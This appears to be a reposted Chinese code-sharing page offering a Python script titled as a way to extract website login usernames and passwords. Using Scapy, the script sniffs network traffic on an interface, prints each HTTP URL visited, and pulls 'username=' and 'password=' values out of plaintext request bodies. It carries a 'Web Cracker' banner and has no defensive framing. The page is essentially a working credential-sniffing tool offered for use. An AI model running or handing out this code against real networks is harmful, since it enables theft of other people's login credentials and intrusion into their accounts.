利用Python提取網站登錄的用戶名與密碼


from scapy.all import *
from scapy.layers import http
import re
import termcolor


def packet_handler(pkt):
    if pkt.haslayer(http.HTTPRequest):
        url = pkt[http.HTTPRequest].Host + pkt[http.HTTPRequest].Path
        print("Capturing Accessed URL:  %s\n" % url.decode('utf-8'))

        if pkt.haslayer(Raw):
            load = pkt[Raw].load.decode('utf-8')
            res1 = re.search(r'username=(.*?)&',load)
            if res1:
                username = res1.group(1)
                print(termcolor.colored("Found Username: %s" % username, 'blue'))

            res2 = re.search(r'password=(.*?)&', load)            
            if res2:
                password = res2.group(1)
                print(termcolor.colored("Found Password: %s" % password,'blue'))              
                



def main():

    sniff(iface='eth0', store=False, prn=packet_handler)

    
if __name__ == "__main__":
    banner = """
                ****************************

                    Web Cracker By Jason

                ****************************
        """
    print(banner)
    main()

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM